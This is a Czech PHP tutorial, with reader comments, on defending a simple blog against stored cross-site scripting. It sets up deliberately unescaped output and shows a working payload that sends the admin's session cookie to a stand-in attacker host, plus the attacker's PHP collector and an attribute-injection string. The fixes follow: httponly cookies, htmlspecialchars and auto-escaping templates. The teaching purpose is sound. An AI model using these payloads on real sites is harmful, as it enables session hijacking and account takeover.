Obrana proti útoku XSS v PHP

PHP Bezpečnost Obrana proti útoku XSS v PHP

XSS, neboli Cross-site scripting, je útok, při kterém útočník podstrčí uživateli nebezpečný script. Tento útok je velmi známý, často používaný a přesto existuje hodně webů, které proti němu nejsou imunní. Způsob útoku a ochranu proti němu se pokusím vysvětlit na reálném příkladu:

Mějme webový blog, do kterého uživatelé píší články, které poté administrátor schvaluje. Uživatel má stránku s formulářem, do kterého (pro zjednodušení) zadá titulek a obsah článku. Všechny zaslané články se poté administrátorovi zobrazí v administrační části, do které se musí přihlásit. Jelikož jiné části blogu nejsou potřeba, ukážeme si velmi jednoduchý kód, který by tyto dvě akce (přidání a zobrazení článků) dokázal obsloužit.

index.php

Pro ukázku stačí mít pouze pár základních věcí, jako je připojení k databázi nebo zjištění souboru dle URL adresy.

<?php

session_start();
header("content-type:text/html;charset=UTF-8");
$db = new PDO("host=localhost;dbname=blog", "uzivatel", "heslo");
$page = !empty($_GET["page"]) ? $_GET["page"] : "home";

?>

<a href="?page=add">Přidat</a> <a href="?page=admin">Admin</a>
<br /><br />

<?php

if (in_array($page, array('home', 'add', 'admin')))
require "{$page}.php";

add.php

Neřešme teď ošetření chyb ve formuláři (jako je nevyplněné pole atp.), jednoduchá podmínka projde jen v případě, že uživatel vyplní jak pole 'title', tak i pole 'content'. Údaje se poté uloží do tabulky 'article'.

<?php

if ($_POST && !empty($_POST["title"]) && !empty($_POST["content"])) {
        $q = $db->prepare("
                INSERT INTO `article` (`title`, `content`)
                VALUES (?, ?)
        ");
        $q->execute(array($_POST["title"], $_POST["content"]));
        header("location: index.php?page=add");
        exit;
}

?>

<form method="post">
        <table>
                <tr>
                        <td>Titulek:</td>
                        <td><input type="text" name="title" /></td>
                </tr>
                <tr>
                        <td>Obsah článku:</td>
                        <td><textarea name="content" rows="5" cols="60"></textarea></td>
                </tr>
                <tr>
                        <td><input type="submit" value="Odeslat" /></td>
                </tr>
        </table>
</form>

admin.php

V administrační sekci pro ukázku zobrazíme jen seznam článků a to včetně jejich obsahu.

<?php

// primitivní kontrola, zda je uživatel admin
if (!isset($_SESSION["admin"])) {
  header("location:?page=home");
  exit;
}

$articlesQuery = $db->query("
        SELECT * FROM `article`
");
$articles = $articlesQuery->fetchAll(PDO::FETCH_OBJ);

?>

<?php foreach ($articles as $article): ?>
        <h3><?php echo $article->title; ?></h3>
        <?php echo $article->content; ?>
<?php endforeach; ?>

Pro představu stránky mohou vypadat takto (neřešte prosím ošklivost stránek!):

Formulář na přidání článku
Zobrazení článků

XSS

Teď přijde na řadu XSS. Všimněte si, že se titulek a obsah článku vypisují v surovém stavu (tzn. přesně tak, jak je zadal uživatel). Kvůli žádné ochraně může uživatel zadat do obsahu článku (v titulku by pro to nejspíše nebylo dost místa) nebezpečný javascriptový kód. Takový kód může mít různé podoby podle toho, co je cílem útočníka - jelikož umí javascript přistupovat k cookies, lze ukrást identifikátor session (PHPSESSID)! Pokud se tak stane, může útočník podstrčit identifikátor administrátora a aplikace pak nepozná, že se jedná o útočníka a bez problému ho pustí do administrátorské sekce.

Poznámka autora: Když jsem tento typ útoku v prvním ročníku SŠ ukázal spolužákům, během chvíle mělo několik lidí na webu XSS script, který danou stránku přesměroval na stránku s nevhodným obsahem (asi chápete, jaký druh stránek mám na mysli - a já to nebyl!). Naštěstí se ale stránky neukazovaly učiteli, takže s tím nakonec nebyly žádné problémy. Raději to ale ve škole nezkoušejte.

Jak ale ukrást adminovi jeho identifikátor a někam ho uložit? Víte, že když například vkládáte na stránku obrázek, musíte do atributu src zadat URL adresu, ze které si prohlížeč vezme obsah? Znamená to, že když jako URL napíšete "http://webova­.stranka.cz/u­tok.php", provede se PHP script v souboru utok.php. Javascript se umí k cookies dostat velmi snadno:

alert(document.cookie);

Proměnná document.cookie obsahuje všechny klíče a hodnoty v cookies jako řetězec (klic=hodnota&klic2=hod­nota2). Pro útočníka pak stačí velmi jednoduchý script:

var c = document.cookie;
document.write("<img src='http://webova.stranka-utocnika.cz/utok.php?data=" + c + "'>");

// vytvoří "obrázek", ale do URL parametru 'data' se pošle hodnota cookie (včetně PHPSESSID)

Útočník by klidně mohl obrázek zneviditelnit (pomocí display: none), aby admin neviděl ani ikonku. Ukázka takového útoku by mohla vypadat takto:

Zadání nebezpečného scriptu
Vypsání nebezpečného obsahu

Jak poté může vypadat obsah souboru utok.php? Velmi jednoduše:

<?php

$db = new PDO("mysql:host=localhost;dbname=test", "uzivatel", "heslo");

$data = $_GET["data"];
$query = $db->prepare("
        INSERT INTO `xss_attack` (`data`) VALUES (?)
");
$query->execute(array($data));

Do databáze útočníka se poté uloží hodnota cookie administrátora blogu, která článek otevřel ke schválení. Útočník může na své straně hodnotu PHPSESSID změnit (třeba pomocí addonu do prohlížeče, který to umí). Poté navštíví znovu stránku blogu a s podstrčenou hodnotou a nyní vypadá jako admin. Aplikace mu tak povolí přístup i do administrátorské sekce.

Jak se útoku bránit?

Proti ukradení PHPSESSID stačí velmi jednoduchá ochrana a to zamezit, aby tu hodnotu uměl javascript přečíst. To uděláme jednou změnou v nastavení php.ini.

ini_set("session.cookie_httponly", 1);

Pořád je ale blog nechráněn proti ostatním způsobům útoku XSS. Potřebujeme, aby se nebezpečné znaky (jako jsou ostré závorky) převedly na tzv. entity. Např. levou ostrou závorku < převedeme na &lt; a pravou > na &gt; To za nás umí udělat funkce htmlSpecialChars(). Stačí pak touto funkcí obalit řetězce, které z databáze vypisujeme.

<?php foreach ($articles as $article): ?>
        <h3><?php echo htmlSpecialChars($article->title); ?></h3>
        <?php echo htmlSpecialChars($article->content); ?>
<?php endforeach; ?>

Dle manuálu zjistíte, že funkce převádí určité znaky na entity, defaultně jsou to amspersand, dvojité uvozovky, levou a pravou ostrou závorku. Obvykle je ale dobré převést automaticky i apostrofy, protože lze XSS útok provést i v případě, že se bude předvyplňovat hodnota v text inputu. Ukažme si na jednoduchém příkladu, jak by řetězec s apostrofy mohl útok provést:

<?php

$dangerousString = "' onmouseover='alert(\"XSS\")";

?>

<input type='text' value='<?php echo $dangerousString; ?>'>

// vytvoří
<input type='text' value='' onmouseover='alert("XSS")'>

Pro řešení tohoto problému existuje druhý parametr funkce htmlSpecialChars(). Pokud předáme hodnotu konstanty ENT_QUOTES, automaticky se na entity převedou i apostrofy.

<input type='text' value='<?php echo htmlSpecialChars($dangerousString, ENT_QUOTES); ?>'>

Tyto dva způsoby útoku XSS bývají nejčastější, ale je i více způsobů, jak nebezpečný script podstrčit (např. do JS kódu nebo CSS). Více se můžete dočíst například v definitivní příručce k escapování od Davida Grudla.

Automatická ochrana

Umět správně použít escapování funkce je sice užitečná věc, ale často se může stát, že na ně programátor prostě zapomene. Proto je dobré mít nástroj, který proměnné ošetřuje automaticky. Dobrým příkladem může být například šablonovací systém Latte od Nette frameworku - ten automaticky ošetří proměnnou podle toho, kde se nachází (zda někde v dokumentu, v text inputu, v javascriptu apod.). Podobný automatický mechanismus používá i místní MVC framework v PHP.

Vypsání proměnné je pak velmi snadné:

// proměnná je automaticky ošetřena proti XSS
Hledaný řetězec: {$query}

Jelikož Latte ošetřuje proměnné automaticky, můžeme někdy potřebovat vypsat hodnotu bez ošetření. To lze opět velmi snadno - stačí před proměnnou napsat vykřičník.

// proměnná se nyní vypíše bez escapování
Obsah proměnné: {!$variable}

Závěr

XSS je jedním z nejznámějších útoků a přesto existuje hodně webů, které jsou proti němu náchylné. Ošetření v určitých případech nemusí být úplně snadné a vývojář může snadno na něco zapomenout. U malých webů by to takový problém být nemusel, ale u větších, kde se například točí hodně peněz, je bezpečnost na nejvyšších příčkách. Osobně používám Latte, protože vím, že bych sám všechny způsoby útoku zamezit nedokázal. Takto nemusím doufat, že se útok někomu nepovede, protože mi dokument chrání ověřený systém, a já se tak mohu zaměřit na jiné věci, než na escapování jednotlivých proměnných.

Využití ověřeného nástroje určitě doporučuji, protože kromě ušetření času velmi často zvýší i samotnou bezpečnost - jak bylo řečeno v článku, můžeme na escapování snadno zapomenout nebo ho použít špatně.


 

  Aktivity (1)

Článek pro vás napsal Martin Konečný (pavelco1998)
Avatar
Autor se o IT moc nezajímá, raději by se věnoval speciálním jednotkám jako jsou SEALs nebo SAS. Když už to ale musí být něco z IT, tak tvorba web. aplikací v PHP.

Jak se ti líbí článek?
Celkem (9 hlasů) :
4.777784.777784.777784.777784.77778


 


Miniatura
Předchozí článek
Nová reCaptcha - Jak ji použít?
Miniatura
Všechny články v sekci
Bezpečnost webových aplikací v PHP

 

 

Komentáře
Zobrazit starší komentáře (2)

Avatar
David Čápka
Tým ITnetwork
Avatar
David Čápka:

Tady jde o to, že tu cookie potom nevidíš z JavaScriptu. A když uděláš z injektovaného skriptu AJAX request na jinou doménu, tak se tam nepošle, protože to není ta doména ze které byla uložena. Jak jsi to myslel? Nenapadá mě způsob jak ji ze skriptu načíst.

Odpovědět 12.5.2015 23:31
Miluji svou práci a zdejší komunitu, baví mě se rozvíjet, děkuji každému členovi za to, že zde působí.
Avatar
Odpovídá na David Čápka
Michal Žůrek (misaz):

ale co když požadavek neposílá webový prohlížeč ale aplikace v C# přestrojena za prohlížeč?

Odpovědět 12.5.2015 23:33
Nesnáším {}, proto se jim vyhýbám.
Avatar
David Čápka
Tým ITnetwork
Avatar
Odpovídá na Michal Žůrek (misaz)
David Čápka:

To bys ji musel dostat k tomu administrátorovi. Tady jde o to, že přes XSS dostaneš nějaký skript k němu a on ti odešle jeho cookies.

Odpovědět 12.5.2015 23:47
Miluji svou práci a zdejší komunitu, baví mě se rozvíjet, děkuji každému členovi za to, že zde působí.
Avatar
asanos
Člen
Avatar
asanos:

V každém případě:

ini_set("sessi­on.cookie_httpon­ly", 1);

není dostatečná obrana proti session hijackingu.
____
Mírně opožděná reakce, omlouvám se, dlouho jsem tu nebyl. ;)

Editováno 15.6.2015 15:20
Odpovědět 15.6.2015 15:19
Na světě je 10 typů lidí. Ti, kteří rozumí binárce a ti co nerozumí.
Avatar
Odpovídá na asanos
Dominik Klapuch:

Ahoj, samozřejmě že ne. Ale direktivy jako session.cooki­e_secure asi moc lidí používat nebude, protože slouží jen pro https.

Dále session.use_on­ly_cookies, které je již zapnuto od 5.3.0, takže se o to nemá cenu starat.

V případě, že by ti někdo chtěl ukrást session, využil by právě session.cooki­e_httponly direktivy.

Samozřejmě je dobré také regenerovat session. Nicméně je třeba implementovat časovač.

Dále můžeš využít session.use_stric­t_mode direktivu, ale ta je relativně zbytečná, pokud regeneruješ session.

Jako poslední používám vlastní názvy pro session. Nicméně, nedočetl jsem se, že by toho někdo někdy využil pro krádež session :)

Tím jsem chtěl říct, že session hijacking je zase jiné téma než XSS a obsáhlo by jistě několik článků :)

Odpovědět  +1 15.6.2015 15:49
Kód a data patří k sobě.
Avatar
asanos
Člen
Avatar
asanos:

session.cooki­e_secure pokud vím slouží pro to, aby cookie nebyla viditelná, pokud se jedná o spojení http. Čili jakožto obrana proti session hijackingu neslouží. Možná si jen nedokážu představit jak to myslíš.

Měl jsem na mysli XMLHttpRequest a metodu getAllResponse­Headers, ale tohle je celkem známá chyba takže ji už asi ošetřili.

V případě http spojení vždy hrozí MITM, proto se využívá ohlídání IP adresy
(IP adresa při přihlášení by měla být shodná s IP ze které chodí všechny požadavky), kde je problém pokud se uživateli tato adresa během relace mění (znám takové případy -> nic neobvyklého).
Nebo hlavička User-agent, tady je ale problém, kdy je na scéně omezený počet prohlížečů a útočníkovy nedělá až taký problém zkusit se kterým se do systému dostane ;)

Odpovědět 15.6.2015 16:32
Na světě je 10 typů lidí. Ti, kteří rozumí binárce a ti co nerozumí.
Avatar
Dominik Klapuch:

Pokud máš nastaveno session.cooki­e_secure, tak se ti session přenesou pouze přes HTTPS, jinak ne. Můžeš si to zkusit na webu pouze s HTTP. Stále to považuji za jakousi ochranu session proti odcizení.

Jistě, v HTTP hrozí sniffování paketů, ale to je zase jiný problém, který můžeš vyřešit pomocí HTTPS, HSTS nebo preload listu.

To jsme odbočili už docela hodně od XSS :D
Pokud bych se chtěl držet XSS, tak mi v článku dost chybí zmínění o CSP.

Odpovědět 15.6.2015 16:43
Kód a data patří k sobě.
Avatar
asanos
Člen
Avatar
Odpovídá na Dominik Klapuch
asanos:

jn... Mám v plánu si zažádat o redaktorské práva na odborné články zaměřených na webovou bezpečnost. U článku o Clickjackingu bych se o něm zmínil v souvislosti s FRAME-ANCESTORS.
__________
Možná by to ode mě bylo i sprosté, ale chtěl bych zdejší články o PHP - Bazpečnosti mírně poupravit. Ale na to bych se musel domluvit s autorem, netušíš jestli je ještě aktivní?

Odpovědět  ±0 15.6.2015 17:00
Na světě je 10 typů lidí. Ti, kteří rozumí binárce a ti co nerozumí.
Avatar
Odpovídá na asanos
Dominik Klapuch:

Jsem si jist, že autor tohoto článku je aktivní člen, takže šance je :) Hodně štěstí, budu rád, pokud se konečně dovím něco nového :)

Odpovědět  +1 15.6.2015 17:04
Kód a data patří k sobě.
Děláme co je v našich silách, aby byly zdejší diskuze co nejkvalitnější. Proto do nich také mohou přispívat pouze registrovaní členové. Pro zapojení do diskuze se přihlas. Pokud ještě nemáš účet, zaregistruj se, je to zdarma.

Zobrazeno 10 zpráv z 12. Zobrazit vše